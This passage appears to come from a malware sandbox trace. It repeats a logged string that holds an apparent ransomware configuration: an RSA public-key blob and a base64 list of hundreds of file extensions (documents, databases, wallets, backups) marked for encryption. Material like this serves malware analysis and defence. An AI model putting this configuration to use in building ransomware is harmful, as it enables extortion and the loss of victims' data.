ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg